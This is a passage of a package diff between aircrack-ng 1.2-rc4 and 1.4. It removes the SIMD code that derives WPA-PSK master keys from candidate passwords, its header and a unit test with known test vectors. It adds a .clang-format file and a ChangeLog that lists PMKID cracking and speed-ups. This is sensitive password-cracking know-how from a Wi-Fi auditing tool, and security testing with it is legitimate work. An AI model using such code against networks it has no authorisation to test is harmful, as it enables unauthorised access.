-			i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))]				= ctx_ipad[j].h0;
-			i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF]			= ctx_ipad[j].h1;
-			i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<1)]		= ctx_ipad[j].h2;
-			i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF*3]			= ctx_ipad[j].h3;
-			i1[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<2)]		= ctx_ipad[j].h4;
-
-			i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))]				= ctx_opad[j].h0;
-			i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF]			= ctx_opad[j].h1;
-			i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<1)]		= ctx_opad[j].h2;
-			i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+MMX_COEF*3]			= ctx_opad[j].h3;
-			i2[(j/MMX_COEF)*MMX_COEF*5+(j&(MMX_COEF-1))+(MMX_COEF<<2)]		= ctx_opad[j].h4;
-#endif
-			essid[slen - 1] = 1;
-
-//			HMAC(EVP_sha1(), in[j].v, in[j].length, essid, slen, outbuf[j].c, NULL);
-//			memcpy(&buffer[j], &outbuf[j].c, 20);
-
-			// This code does the HMAC(EVP_....) call.  NOTE, we already have essid
-			// appended with BE((int)1) so we simply call a single SHA1_Update
-			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, essid, slen);
-			SHA1_Final(outbuf[j].c, &sha1_ctx);
-			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, outbuf[j].c, SHA_DIGEST_LENGTH);
-			SHA1_Final(outbuf[j].c, &sha1_ctx);
-
-			// now convert this from flat into MMX_COEF buffers.   (same as the memcpy() commented out in the last line)
-			// Also, perform the 'first' ^= into the crypt buffer.  NOTE, we are doing that in BE format
-			// so we will need to 'undo' that in the end.
-#ifdef SIMD_CORE
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = outbuf[j].i[0] = sha1_ctx.h0;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = outbuf[j].i[1] = sha1_ctx.h1;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = outbuf[j].i[2] = sha1_ctx.h2;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = outbuf[j].i[3] = sha1_ctx.h3;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = outbuf[j].i[4] = sha1_ctx.h4;
-#else
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))]			= outbuf[j].i[0] = sha1_ctx.h0;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF]		= outbuf[j].i[1] = sha1_ctx.h1;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<1)]	= outbuf[j].i[2] = sha1_ctx.h2;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF*3]	= outbuf[j].i[3] = sha1_ctx.h3;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<2)]	= outbuf[j].i[4] = sha1_ctx.h4;
-#endif
-		}
-
-		for (i = 1; i < 4096; i++) {
-			SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt1, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT);
-			SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt2, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT);
-
-			for (j = 0; j < NBKEYS; j++) {
-#ifdef SIMD_CORE
-				unsigned *p = &((unsigned int*)t_sse_hash1)[(((j/SIMD_COEF_32)*SHA_BUF_SIZ)*SIMD_COEF_32) + (j&(SIMD_COEF_32-1))];
-				for(k = 0; k < 5; k++)
-					outbuf[j].i[k] ^= p[(k*SIMD_COEF_32)];
-#else
-				unsigned *p = &((unsigned int*)t_sse_hash1)[(((j>>2)*SHA_BUF_SIZ)<<2) + (j&(MMX_COEF-1))];
-				for(k = 0; k < 5; k++)
-					outbuf[j].i[k] ^= p[(k<<(MMX_COEF>>1))];
-#endif
-			}
-		}
-		essid[slen - 1] = 2;
-
-		for (j = 0; j < NBKEYS; ++j) {
-//			HMAC(EVP_sha1(), in[j].v, in[j].length, essid, slen, &outbuf[j].c[20], NULL);
-//			memcpy(&buffer[j], &outbuf[j].c[20], 20);
-
-			// This code does the HMAC(EVP_....) call.  NOTE, we already have essid
-			// appended with BE((int)1) so we simply call a single SHA1_Update
-			memcpy(&sha1_ctx, &ctx_ipad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, essid, slen);
-			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
-			memcpy(&sha1_ctx, &ctx_opad[j], sizeof(sha1_ctx));
-			SHA1_Update(&sha1_ctx, &outbuf[j].c[20], 20);
-			SHA1_Final(&outbuf[j].c[20], &sha1_ctx);
-
-			// now convert this from flat into MMX_COEF buffers.  (same as the memcpy() commented out in the last line)
-			// Also, perform the 'first' ^= into the crypt buffer.  NOTE, we are doing that in BE format
-			// so we will need to 'undo' that in the end. (only 3 dwords of the 2nd block outbuf are worked with).
-#ifdef SIMD_CORE
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+0*SIMD_COEF_32] = outbuf[j].i[5] = sha1_ctx.h0;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+1*SIMD_COEF_32] = outbuf[j].i[6] = sha1_ctx.h1;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+2*SIMD_COEF_32] = outbuf[j].i[7] = sha1_ctx.h2;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+3*SIMD_COEF_32] = sha1_ctx.h3;
-			o1[(j/SIMD_COEF_32)*SIMD_COEF_32*SHA_BUF_SIZ+(j&(SIMD_COEF_32-1))+4*SIMD_COEF_32] = sha1_ctx.h4;
-#else
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))]			= outbuf[j].i[5] = sha1_ctx.h0;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF]		= outbuf[j].i[6] = sha1_ctx.h1;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<1)]	= outbuf[j].i[7] = sha1_ctx.h2;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+MMX_COEF*3]			 = sha1_ctx.h3;
-			o1[(j/MMX_COEF)*MMX_COEF*SHA_BUF_SIZ+(j&(MMX_COEF-1))+(MMX_COEF<<2)]			 = sha1_ctx.h4;
-#endif
-		}
-		for (i = 1; i < 4096; i++) {
-			SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt1, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT);
-			SIMDSHA1body((unsigned int*)t_sse_hash1, (unsigned int*)t_sse_hash1, (unsigned int*)t_sse_crypt2, SSEi_MIXED_IN|SSEi_RELOAD|SSEi_OUTPUT_AS_INP_FMT);
-			for (j = 0; j < NBKEYS; j++) {
-#ifdef SIMD_CORE
-				unsigned *p = &((unsigned int*)t_sse_hash1)[(((j/SIMD_COEF_32)*SHA_BUF_SIZ)*SIMD_COEF_32) + (j&(SIMD_COEF_32-1))];
-				for(k = 5; k < 8; k++)
-					outbuf[j].i[k] ^= p[((k-5)*SIMD_COEF_32)];
-#else
-				unsigned *p = &((unsigned int*)t_sse_hash1)[(((j>>2)*SHA_BUF_SIZ)<<2) + (j&(MMX_COEF-1))];
-				for(k = 5; k < 8; k++)
-					outbuf[j].i[k] ^= p[((k-5)<<(MMX_COEF>>1))];
-#endif
-			}
-		}
-
-		for (j = 0; j < NBKEYS; ++j) {
-			// the BE() convert should be done in binary, BUT since we use 'common' code for
-			// binary(), which is shared between CPU and CUDA/OPenCL, we have to do it here.
-			memset(tmpbuf, 0, 32);
-			memcpy(tmpbuf, outbuf[j].c, 32);
-
-#ifdef XDEBUG
-			printf("%d tmpbuf = ", threadid);
-			for (prloop = 0; prloop < 32; prloop++)
-				printf( "%02X:", tmpbuf[prloop] );
-			printf("\n");
-#endif
-
-			if (j == 0) {
-				memcpy(xpmk1[threadid], tmpbuf, 32);
-#ifdef XDEBUG
-				printf("xpmk1[%d] = ", threadid);
-				for (prloop = 0; prloop < 32; prloop++)
-					printf( "%02X:", xpmk1[threadid][prloop] );
-				printf("\n");
-#endif
-
-				alter_endianity_to_BE(xpmk1[threadid],32);
-
-			}
-			if (j == 1) {
-				memcpy(xpmk2[threadid], tmpbuf, 32);
-#ifdef XDEBUG
-				printf("xpmk2[%d] = ", threadid);
-				for (prloop = 0; prloop < 32; prloop++)
-					printf( "%02X:", xpmk2[threadid][prloop] );
-				printf("\n");
-#endif
-
-				alter_endianity_to_BE(xpmk2[threadid],32);
-			}
-			if (j == 2) {
-				memcpy(xpmk3[threadid], tmpbuf, 32);
-#ifdef XDEBUG
-				printf("xpmk3[%d] = ", threadid);
-				for (prloop = 0; prloop < 32; prloop++)
-					printf( "%02X:", xpmk3[threadid][prloop] );
-				printf("\n");
-#endif
-
-				alter_endianity_to_BE(xpmk3[threadid],32);
-			}
-
-			if (j == 3) {
-				memcpy(xpmk4[threadid], tmpbuf, 32);
-#ifdef XDEBUG
-				printf("xpmk4[%d] = ", threadid);
-				for (prloop = 0; prloop < 32; prloop++)
-					printf( "%02X:", xpmk4[threadid][prloop] );
-				printf("\n");
-#endif
-
-				alter_endianity_to_BE(xpmk4[threadid],32);
-			}
-			if (j == 4) {
-				memcpy(xpmk5[threadid], tmpbuf, 32);
-				alter_endianity_to_BE(xpmk5[threadid],32);
-			}
-			if (j == 5) {
-				memcpy(xpmk6[threadid], tmpbuf, 32);
-				alter_endianity_to_BE(xpmk6[threadid],32);
-			}
-			if (j == 6) {
-				memcpy(xpmk7[threadid], tmpbuf, 32);
-				alter_endianity_to_BE(xpmk7[threadid],32);
-			}
-			if (j == 7) {
-				memcpy(xpmk8[threadid], tmpbuf, 32);
-				alter_endianity_to_BE(xpmk8[threadid],32);
-			}
-		}
-	}
-
-	return;
-}
-
-void init_atoi() {
-	char *pos;
-
-	memset(atoi64, 0x7F, sizeof(atoi64));
-	for (pos = itoa64; pos <= &itoa64[63]; pos++)
-		atoi64[ARCH_INDEX(*pos)] = pos - itoa64;
-}
-
-//#define XDEBUG 1
-//#define ODEBUG 1
-int init_wpapsk(char (*key)[128], char *essid, int threadid) {
-#ifdef ODEBUG
-	int prloop = 0;
-#endif
-	int i = 0;
-	static int count = 0;
-	static unsigned char *lpmk1 = NULL, *lpmk2 = NULL, *lpmk3 = NULL, *lpmk4 = NULL;
-	static unsigned char *lpmk5 = NULL, *lpmk6 = NULL, *lpmk7 = NULL, *lpmk8 = NULL;
-	static wpapsk_password	*inbuffer;	//table for candidate passwords (pointer to threads copy)
-
-	lpmk1		= xpmk1[threadid];
-	lpmk2		= xpmk2[threadid];
-	lpmk3		= xpmk3[threadid];
-	lpmk4		= xpmk4[threadid];
-	lpmk5		= xpmk5[threadid];
-	lpmk6		= xpmk6[threadid];
-	lpmk7		= xpmk7[threadid];
-	lpmk8		= xpmk8[threadid];
-	inbuffer	= wpapass[threadid];
-
-	for (; i < cpuinfo.simdsize; i++) {
-		memset(inbuffer[i].v, 0, sizeof(inbuffer[i].v));
-		inbuffer[i].length = 0;
-	}
-
-	for (i = 0; i < 8; ++i) {
-		if (key[i][0] != 0) {
-			set_key(key[i], i, inbuffer);
-#ifdef XDEBUG
-			printf("key%d (inbuffer) = %s\n", i+1, inbuffer[i].v);
-#endif
-			count = i + 1;
-		}
-	}
-
-#ifdef XDEBUG
-//	printf("%d key (%s) (%s) (%s) (%s)\n",threadid, key1,key2,key3,key4);
-#endif
-
-	memset(&lpmk1[threadid], 0, 32);
-	memset(&lpmk2[threadid], 0, 32);
-	memset(&lpmk3[threadid], 0, 32);
-	memset(&lpmk4[threadid], 0, 32);
-	memset(&lpmk5[threadid], 0, 32);
-	memset(&lpmk6[threadid], 0, 32);
-	memset(&lpmk7[threadid], 0, 32);
-	memset(&lpmk8[threadid], 0, 32);
-
-	wpapsk_sse(threadid, count, essid, inbuffer);
-
-	return 0;
-}
-

aircrack-ng-1.2-rc4.tar.gz/src/wpapsk.h Deleted

@@ -1,117 +0,0 @@
-/*
- * Based on John the Ripper and modified to integrate with aircrack
- *
- * 	John the Ripper copyright and license.
- *
- * John the Ripper password cracker,
- * Copyright (c) 1996-2013 by Solar Designer.
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * As a special exception to the GNU General Public License terms,
- * permission is hereby granted to link the code of this program, with or
- * without modification, with any version of the OpenSSL library and/or any
- * version of unRAR, and to distribute such linked combinations.  You must
- * obey the GNU GPL in all respects for all of the code used other than
- * OpenSSL and unRAR.  If you modify this program, you may extend this
- * exception to your version of the program, but you are not obligated to
- * do so.  (In other words, you may release your derived work under pure
- * GNU GPL version 2 or later as published by the FSF.)
- *
- * (This exception from the GNU GPL is not required for the core tree of
- * John the Ripper, but arguably it is required for -jumbo.)
- *
- * 	Relaxed terms for certain components.
- *
- * In addition or alternatively to the license above, many components are
- * available to you under more relaxed terms (most commonly under cut-down
- * BSD license) as specified in the corresponding source files.
- *
- * For more information on John the Ripper licensing please visit:
- *
- * http://www.openwall.com/john/doc/LICENSE.shtml
- *
- * This software is Copyright (c) 2012 Lukas Odzioba <lukas dot odzioba at gmail dot com>
- * and Copyright (c) 2012-2014 magnum
- * and it is hereby released to the general public under the following terms:
- * Redistribution and use in source and binary forms, with or without modification, are permitted.
- *
- * hccap format was introduced by oclHashcat-plus, and it is described here: http://hashcat.net/wiki/hccap
- * Code is based on  Aircrack-ng source
- */
-#ifndef _WPAPSK_H
-#define _WPAPSK_H
-
-#include <string.h>
-#include <assert.h>
-#ifdef USE_GCRYPT
-#include "gcrypt-openssl-wrapper.h"
-#else
-#include <openssl/hmac.h>
-#endif
-#include <stdint.h>
-#include "arch.h"
-#include "jcommon.h"
-#include "johnswap.h"
-
-extern unsigned char *xpmk1[128];
-extern unsigned char *xpmk2[128];
-extern unsigned char *xpmk3[128];
-extern unsigned char *xpmk4[128];
-extern unsigned char *xpmk5[128];
-extern unsigned char *xpmk6[128];
-extern unsigned char *xpmk7[128];
-extern unsigned char *xpmk8[128];
-extern unsigned char *xsse_hash1[128];
-extern unsigned char *xsse_crypt1[128];
-extern unsigned char *xsse_crypt2[128];
-
-#define PLAINTEXT_LENGTH	63 /* We can do 64 but spec. says 63 */
-
-int threadxnt;
-void init_atoi();
-void init_ssecore(int);
-void free_ssecore(int);
-int init_wpapsk(char (*key)[128], char *essid, int threadid);
-
-struct wpapsk_password {
-	uint32_t length;
-	uint8_t  v[PLAINTEXT_LENGTH + 1];
-};
-
-typedef struct {
-	uint32_t length;
-	uint8_t  v[PLAINTEXT_LENGTH + 1];
-} wpapsk_password;
-
-extern wpapsk_password *wpapass[128];
-
-int count;
-
-#if 0
-static MAYBE_INLINE void prf_512(uint32_t * key, uint8_t * data, uint32_t * ret)
-{
-	HMAC_CTX ctx;
-	char *text = (char*)"Pairwise key expansion";
-	unsigned char buff[100];
-
-	memcpy(buff, text, 22);
-	memcpy(buff + 23, data, 76);
-	buff[22] = 0;
-	buff[76 + 23] = 0;
-	HMAC_Init(&ctx, key, 32, EVP_sha1());
-	HMAC_Update(&ctx, buff, 100);
-	HMAC_Final(&ctx, (unsigned char *) ret, NULL);
-	HMAC_CTX_cleanup(&ctx);
-}
-#endif
-
-#endif /* _WPAPSK_H */

aircrack-ng-1.2-rc4.tar.gz/test/Makefile Deleted

aircrack-ng-1.2-rc4.tar.gz/test/cryptounittest/Makefile Deleted

@@ -1,76 +0,0 @@
-AC_ROOT         = ../..
-SRC_DIR		= $(AC_ROOT)/src
-include $(AC_ROOT)/common.mak
-CFLAGS          += -I$(SRC_DIR) -I$(SRC_DIR)/include $(COMMON_CFLAGS)
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(simdcore) $(SIMDCORE))),true)
-	SSEO_INT	= $(AC_ROOT)/src/simd-intrinsics.o $(AC_ROOT)/src/memory.o $(AC_ROOT)/src/wpapsk.o
-else
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(newsse) $(NEWSSE))),true)
-	SSEO_INT	= $(AC_ROOT)/src/sse-intrinsics.o $(AC_ROOT)/src/memory.o $(AC_ROOT)/src/wpapsk.o
-endif
-endif
-
-ifeq ($(subst TRUE,true,$(filter TRUE true,$(gcrypt) $(GCRYPT))),true)
-	LIBSSL          =  -lgcrypt $(LDFLAGS)
-	CFLAGS          += -DUSE_GCRYPT
-else
-	LIBSSL          = -lssl -lcrypto $(LDFLAGS)
-endif
-
-all:	check
-
-SRC_CRYPTO	  = $(AC_ROOT)/src/crypto.c $(AC_ROOT)/src/sha1-git.c $(SSEO_INT) $(AC_ROOT)/src/cpuid.o $(AC_ROOT)/src/common.o
-
-TESTFILES        = test-encrypt-wep$(EXE) test-calc-pmk$(EXE) test-calc-mic$(EXE) test-calc-ptk$(EXE) test-encrypt-ccmp$(EXE) test-decrypt-ccmp$(EXE) test-calc-4pmk$(EXE)
-
-OBJS_TEST_EWEP  = test-encrypt-wep.c $(SRC_CRYPTO)
-OBJS_TEST_CPMK  = test-calc-pmk.c $(SRC_CRYPTO)
-OBJS_TEST_4PMK  = test-calc-4pmk.c $(SRC_CRYPTO)
-OBJS_TEST_CMIC  = test-calc-mic.c $(SRC_CRYPTO)
-OBJS_TEST_CPTK  = test-calc-ptk.c $(SRC_CRYPTO)
-OBJS_TEST_DCMP  = test-decrypt-ccmp.c $(SRC_CRYPTO)
-OBJS_TEST_ECMP  = test-encrypt-ccmp.c $(SRC_CRYPTO)
-
-test-encrypt-wep$(EXE): $(OBJS_TEST_EWEP)
-	$(CC) $(CFLAGS) $(OBJS_TEST_EWEP) -o $(@) $(LIBSSL)
-
-test-calc-pmk$(EXE): $(OBJS_TEST_CPMK)
-	$(CC) $(CFLAGS) $(OBJS_TEST_CPMK) -o $(@) $(LIBSSL)
-
-test-calc-4pmk$(EXE): $(OBJS_TEST_4PMK)
-	$(CC) $(CFLAGS) $(OBJS_TEST_4PMK) $(AC_ROOT)/src/sha1-sse2.S -o $(@) $(LIBSSL)
-
-test-calc-mic$(EXE): $(OBJS_TEST_CMIC)
-	$(CC) $(CFLAGS) $(OBJS_TEST_CMIC) -o $(@) $(LIBSSL)
-
-test-calc-ptk$(EXE): $(OBJS_TEST_CPTK)
-	$(CC) $(CFLAGS) $(OBJS_TEST_CPTK) -o $(@) $(LIBSSL)
-
-test-encrypt-ccmp$(EXE): $(OBJS_TEST_ECMP)
-	$(CC) $(CFLAGS) $(OBJS_TEST_ECMP) -o $(@) $(LIBSSL)
-
-test-decrypt-ccmp$(EXE): $(OBJS_TEST_DCMP)
-	$(CC) $(CFLAGS) $(OBJS_TEST_DCMP) -o $(@) $(LIBSSL)
-
-
-default: check
-
-
-check: $(TESTFILES)
-	$(foreach TEST,$(TESTFILES), \
-		./$(TEST) || exit 1; \
-	)
-
-valgrind: $(TESTFILES)
-	$(foreach TEST,$(TESTFILES), \
-		echo "Testing $$test for memory leaks with valgrind ..." ; \
-		valgrind -q --error-exitcode=1 --leak-check=yes ./$(TEST) || exit 1; \
-	)
-
-
-clean:
-	rm -f $(TESTFILES)
-	rm -f vgcore*
-
-

aircrack-ng-1.2-rc4.tar.gz/test/cryptounittest/test-calc-4pmk.c Deleted

@@ -1,127 +0,0 @@
-/*
- *
- * test-calc-4pmk.c
- *
- * Copyright (C) 2012 Carlos Alberto Lopez Perez <clopez@igalia.com>
- *
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- */
-
-
-#include <stdio.h>
-#include <string.h>
-#include <strings.h>
-#include <stdlib.h>
-#include "crypto.h"
-#include "sha1-sse2.h"
-#include "tests.h"
-#include "aircrack-ng.h"
-#ifndef OLD_SSE_CORE
-#include "wpapsk.h"
-#endif
-
-#define KLEN 32
-
-int main(int argc, char **argv)
-{
-    if (argc < 1) return 1;
-
-    int error=0, j;
-    char key[8][128];
-    unsigned char pmk[8][128];
-    unsigned char epmk[8][128];
-    cpuinfo.simdsize = cpuid_simdsize(0);
-    bzero(&pmk,sizeof(pmk));
-    bzero(&epmk,sizeof(epmk));
-    bzero(&key,sizeof(key));
-    strcpy(key[0],"biscotte");
-    strcpy(key[1],"password");
-    strcpy(key[2],"aircrack");
-    strcpy(key[3],"keyboard");
-#ifndef OLD_SSE_CORE
-    if (cpuinfo.simdsize > 4) { // For testing AVX2 / 256bit
-	strcpy(key[4],"biscotte");
-	strcpy(key[5],"password");
-	strcpy(key[6],"aircrack");
-	strcpy(key[7],"keyboard");
-    }
-#endif
-    memcpy(epmk[0],
-    "\xcd\xd7\x9a\x5a\xcf\xb0\x70\xc7\xe9\xd1\x02\x3b\x87\x02\x85\xd6"
-    "\x39\xe4\x30\xb3\x2f\x31\xaa\x37\xac\x82\x5a\x55\xb5\x55\x24\xee", KLEN);
-    memcpy(epmk[1],
-    "\x9a\x15\xed\x29\xa9\xb8\x0e\x5d\x52\x32\xa0\x64\x4c\xfd\x40\x4b"
-    "\x83\x97\x9b\x57\xaf\x83\x05\x80\x6d\xd4\xd4\x86\x50\x06\xed\x7d", KLEN);
-    memcpy(epmk[2],
-    "\x12\x8c\x41\xed\xf5\x32\x1c\x51\x1f\xd6\xaf\x07\x96\x95\xdf\x71"
-    "\x5c\xb1\xb7\x68\x6f\x1a\xed\xe9\x70\x1e\x87\x07\xb8\xc9\xb4\x3b", KLEN);
-    memcpy(epmk[3],
-    "\xbb\x84\x66\x33\xef\x41\x5a\xb6\xcd\x83\x93\xc6\x00\x18\x26\x42"
-    "\x76\x62\x7c\x4e\xbc\x6b\x8f\x20\x9b\xbe\x59\xb4\x86\x71\x69\xdd", KLEN);
-#ifndef OLD_SSE_CORE
-    memcpy(epmk[4],
-    "\xcd\xd7\x9a\x5a\xcf\xb0\x70\xc7\xe9\xd1\x02\x3b\x87\x02\x85\xd6"
-    "\x39\xe4\x30\xb3\x2f\x31\xaa\x37\xac\x82\x5a\x55\xb5\x55\x24\xee", KLEN);
-    memcpy(epmk[5],
-    "\x9a\x15\xed\x29\xa9\xb8\x0e\x5d\x52\x32\xa0\x64\x4c\xfd\x40\x4b"
-    "\x83\x97\x9b\x57\xaf\x83\x05\x80\x6d\xd4\xd4\x86\x50\x06\xed\x7d", KLEN);
-    memcpy(epmk[6],
-    "\x12\x8c\x41\xed\xf5\x32\x1c\x51\x1f\xd6\xaf\x07\x96\x95\xdf\x71"
-    "\x5c\xb1\xb7\x68\x6f\x1a\xed\xe9\x70\x1e\x87\x07\xb8\xc9\xb4\x3b", KLEN);
-    memcpy(epmk[7],
-    "\xbb\x84\x66\x33\xef\x41\x5a\xb6\xcd\x83\x93\xc6\x00\x18\x26\x42"
-    "\x76\x62\x7c\x4e\xbc\x6b\x8f\x20\x9b\xbe\x59\xb4\x86\x71\x69\xdd", KLEN);
-#endif
-    static char essid[] = "test";
-#ifndef OLD_SSE_CORE
-//    int slen = strlen(essid) + 4;
-    int threadid = 1;
-    init_ssecore(threadid);
-#endif
-
-#if defined(__i386__) || defined(__x86_64__)
-    // Check for SSE2, with SSE2 the algorithm works with 4 keys
-    if (cpuinfo.simdsize >= 4) {
-#ifdef OLD_SSE_CORE
-	calc_4pmk( key[0], key[1], key[2], key[3], essid, pmk[0], pmk[1], pmk[2], pmk[3] );
-#else
-	init_wpapsk(key, essid, threadid);
-	memcpy(pmk[0], xpmk1[threadid], 32);
-	memcpy(pmk[1], xpmk2[threadid], 32);
-	memcpy(pmk[2], xpmk3[threadid], 32);
-	memcpy(pmk[3], xpmk4[threadid], 32);
-	if (cpuinfo.simdsize > 4) {
-		memcpy(pmk[4], xpmk5[threadid], 32);
-		memcpy(pmk[5], xpmk6[threadid], 32);
-		memcpy(pmk[6], xpmk7[threadid], 32);
-		memcpy(pmk[7], xpmk8[threadid], 32);
-	}
-#endif
-        for (j = 0; j < cpuinfo.simdsize; j++)
-            error += test(pmk[j],epmk[j],32, argv[0]);
-    }
-#endif
-    // do non-sse calc_pmk
-    for(j=0; j<4; ++j)
-        calc_pmk( key[j], essid, pmk[j] );
-    for (j=0;j<4;j++)
-        error += test(pmk[j],epmk[j],32, argv[0]);
-
-    return error;
-}
-

aircrack-ng-1.4.tar.gz/.clang-format Added

@@ -0,0 +1,35 @@
+---
+AlignAfterOpenBracket: Align
+AlignConsecutiveAssignments: 'false'
+AlignConsecutiveDeclarations: 'false'
+AlignOperands: 'true'
+AlignTrailingComments: 'false'
+AllowShortCaseLabelsOnASingleLine: 'false'
+AllowShortFunctionsOnASingleLine: All
+AllowShortIfStatementsOnASingleLine: 'true'
+AllowShortLoopsOnASingleLine: 'true'
+AlwaysBreakBeforeMultilineStrings: 'false'
+BinPackArguments: 'false'
+BinPackParameters: 'false'
+BreakBeforeBinaryOperators: 'All'
+BreakBeforeBraces: Allman
+BreakBeforeTernaryOperators: 'true'
+ColumnLimit: 80
+ContinuationIndentWidth: '4'
+IndentCaseLabels: 'true'
+IndentWidth: '4'
+MaxEmptyLinesToKeep: 1
+NamespaceIndentation: 'None'
+PointerAlignment: 'Middle'
+ReflowComments: 'false'
+SortIncludes: 'false'
+SpaceAfterCStyleCast: 'true'
+SpaceBeforeAssignmentOperators: 'true'
+SpaceBeforeParens: ControlStatements
+SpaceInEmptyParentheses: 'false'
+SpacesInAngles: 'false'
+SpacesInParentheses: 'false'
+SpacesInSquareBrackets: 'false'
+Standard: Cpp11
+TabWidth: '4'
+UseTab: Always
\ No newline at end of file

aircrack-ng-1.4.tar.gz/.editorconfig Added

aircrack-ng-1.2-rc4.tar.gz/ChangeLog -> aircrack-ng-1.4.tar.gz/ChangeLog Changed

@@ -1,3 +1,155 @@
+Version 1.4 (changes from aircrack-ng 1.3) - Released 29 Sep 2018:
+* Aircrack-ng: Added PMKID cracking
+* Aircrack-ng: Serious speed up and memory usage decrease when loading large files (multiple Gb) using AVL trees
+* Aircrack-ng: Added hwloc (Hardware Locality) to improve performance
+* Aircrack-ng: Support cracking PCAP with Protected Management Frames (802.11w)
+* Aircrack-ng: Merged check_thread() and read_thread()
+* Aircrack-ng: Allow static linking with chosen SIMD
+* Aircrack-ng: Display AVX512F when present
+* Airodump-ng: Added clients GPS coordinates in NetXML file
+* Airdecap-ng: Improve decrypting/parsing speed
+* Airmon-ng: Updated/fixed using with nexmon
+* Airmon-ng: Better check for lspci requirement on systems that don't have PCI/PCIe devices
+* Airmon-ng: Added support for rtl8812au/8814au/rtl88xxau driver
+* Build: Fixed building with a few different architectures
+* Build: Switch to new CI/CD tool, PyDeployer
+* Build: Improved building on Windows (and building/testing with AppVeyor)
+* Build: Improved and tweaked CI systems (buildbots, Travis, AppVeyor)
+* Build: Support for statically linking libraries/binaries
+* Build: Automatic development packages build for multiple Linux distro and upload to PackageCloud.io
+* Tests: Added new tests for Aircrack-ng
+* Tests: Added new capture files
+* Freeradius-WPE: Fixed opening log file twice
+* General: Fixed loading PCAP on system with a different endianness
+* General: Fixed memory leaks and issues reported by static analysis tools
+* General: Fixed "error while loading shared libraries"
+* General: Various other small improvements in the tools, build system, tests and documentation
+* General: Update FSF address
+* General: Code formatting
+
+Version 1.3 (changes from aircrack-ng 1.2) - Released 10 Jul 2018:
